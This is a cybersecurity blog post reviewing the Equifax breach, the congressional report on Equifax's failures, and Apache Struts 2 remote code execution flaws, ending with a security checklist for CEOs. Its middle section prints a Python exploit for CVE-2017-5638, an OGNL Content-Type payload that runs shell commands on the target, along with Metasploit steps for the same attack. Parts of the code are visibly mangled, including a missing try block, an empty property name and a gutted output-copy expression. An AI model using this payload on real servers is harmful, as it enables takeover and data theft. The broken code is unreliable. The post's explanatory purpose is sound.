The Song Remains The Same: A Story of Unencrypted Data, A 50-year-old Web infrastructure, A Lack of Patching And Certificate Time-outs

And so in the week that identified that an outage of the O2 was due to an out-of-date digital certificate, we hear of the poor security regime within Equifax.

A report from the House Oversight Committee defines that Equifax was riddled with security problems, including: having old systems; failing to properly monitor their security infrastructure (due to an expired digital certificate); and had a lack of patch management.

The breach affected over 143 million customers, but the company, so far, has not faced any significant fines.

Equifax’s CEO at the time was Richard Smith, and who has since retired from the company. At the time of the breach, Richard blamed his IT staff for falling to patch their systems, but the report reveals that their infrastructure was riddled with security problems and a general lack of investment in security.

Along with this the report defines many problems within Equifax’s data infrastructure, including continual crashes, and incorrect results showing up in searches. It also pinpoints security problems within its credit freezing facility, and where its call centres often failed to answer even the most basic of questions.

The main failing in the breach was the failure to patch their Apache Struts infrastructure, even though a major vulnerability had been announced many months previously. Their whole data infrastructure was creeking and used used a near 50-year-old web infrastructure. The vulnerability allowed intruders to access Equifax’s data from a shell command and where they remained unnoticed for over two months. From the initial pivot point, they then had 256 accesses to the system and made over 9,000 data queries. In return they managed to gain access to an unencrypted file containing passwords and over 40 databases of unencrypted customer data.

Equifax was not able to detect the accesses as their network scanner had been idle for around 19 months, as it was inactive due to an expired certificate. It then took another two months for Equifax to update their expired certificate, after which the accesses were detected. The company took another two months to actually report the breach (before which some staff sold off their shares in the company).

The software environments that have caused the most security problems in the industry have been Adobe Reader, Adobe Flash, Java, Microsoft Silverlight, OpenSSL and … Apache Structs. Each of these environments often allow code to be run in a sandboxed environment with administrator rights, and where the code jumps out of the sandbox and runs on the system.

And so Equifax was hacked in September 2017, as they had failed to patch a vulnerability which had been known about since March 2017. The hack related to a vulnerability in Apache Struts 2:

But now Apache Struts 2 is back in the headlines with a new vulnerability — CVE-2018–11776. Its weakness is around a remote code execution flaw that allows code to be run on servers.

Apache Struts 2 supports an MVC (model, view and controller) architecture for Java EE Web applications. The MVC approach splits up the View (the user interface) from the Controller (the middleware code) and the Model (which integrates the data infrastructure). With Microsoft, the MVC system is named ASP.NET.

Apache Struts 2 has a poor track record for security with 71 security vulnerabilities over the last six years. As the patching can often be slow, intruders have been continually launching attacks against systems which support it.

In Java we have namespaces to define the libraries which are reference. The vulnerability relates to results from a View with no namespace defined.

A previous Apache Struts exploit named CVE-2017–9805 was defined a critical exploit and allowed an unauthenicated intruder to run commands on the operating system which has Apache Struts installed. It affected all versions since 2008, and deserialised a Java request. Then, if it was an operating system command, the Java interpreter executed it as a command and outputted the result to the user. When the Web server runs with administrator privileges, it thus allowed admin access to the whole system, with complete access to the operating system.

The vulnerability built on CVE-2017–9791 which was published on 7 July 2017 (and patched in Struts 2.5.13):

The exploit used in the Equifax hack was CVE-2017–5638:

As we can see, at the time of its announcement, it is rated as a 10, and where an intruder sends an HTTP request with a given format, and where it moves down through the system to the operating system and where the intruder can take over the whole infrastructure. This uses a crafted Content-Type HTTP header, where it carries a command as a string:

#cmds= string

Here is the Python code for the exploit (where the #cmds string contains the operating systems commands to be run):

def exploit(url, cmd):
payload = "%{(#_='multipart/form-data')."
payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."
payload += "(#_memberAccess?"
payload += "(#_memberAccess=#dm):"
payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."
payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."
payload += "(#ognlUtil.getExcludedPackageNames().clear())."
payload += "(#ognlUtil.getExcludedClasses().clear())."
payload += "(#context.setMemberAccess(#dm))))."
payload += "(#cmd='%s')." % cmd
payload += "(#iswin=(@java.lang.System@getProperty('').toLowerCase().contains('win')))."
payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."
payload += "(#p=new java.lang.ProcessBuilder(#cmds))."
payload += "(#p.redirectErrorStream(true)).(#process=#p.start())."
payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."
payload += "(,#ros))."
payload += "(#ros.flush())}"

headers = {'User-Agent': 'Mozilla/5.0', 'Content-Type': payload}
request = urllib2.Request(url, headers=headers)
page = urllib2.urlopen(request).read()
except httplib.IncompleteRead, e:
page = e.partial

return page

Once compromised, it is possible that the Equifax hack involved the copying of the whole of the database. There is a well-defined test within Metasploit for it:

msf > use exploit/multi/http/struts_code_exec 
msf exploit(struts_code_exec) > show targets ...targets...
msf exploit(struts_code_exec) > set TARGET <target-id>
msf exploit(struts_code_exec) > show options and set options...
msf exploit(struts_code_exec) > exploit


The Equifax breach will long be used as an example of poor practice … a story of unencrypted Data, a 50-year-old Web infrastructure, a lack of patching and certificate time-outs … it is time for CEOs to be responsible for the implementation of security within the company. Here is a checklist for them:

  • All personally sensitive data is encrypted by default Yes [] No []
  • Systems are patched and checked on a regular basis Yes [] No []
  • Systems are monitored for outages and failures Yes [] No []
  • Data is monitored for access and alerts are sent for analysis Yes [] No []
  • Systems are internally audited for the security Yes [] No []
  • System passwords are strongly managed Yes [] No []
  • A risk register is maintained and equipment is updated on a regular basis Yes [] No []

ASecuritySite: When Bob Met Alice

This publication brings together interesting articles…

Prof Bill Buchanan OBE

Written by

Professor of Cryptography. Serial innovator. Believer in fairness, justice & freedom. EU Citizen. Auld Reekie native. Old World Breaker. New World Creator.

ASecuritySite: When Bob Met Alice

This publication brings together interesting articles related to cyber security.

Prof Bill Buchanan OBE

Written by

Professor of Cryptography. Serial innovator. Believer in fairness, justice & freedom. EU Citizen. Auld Reekie native. Old World Breaker. New World Creator.

ASecuritySite: When Bob Met Alice

This publication brings together interesting articles related to cyber security.

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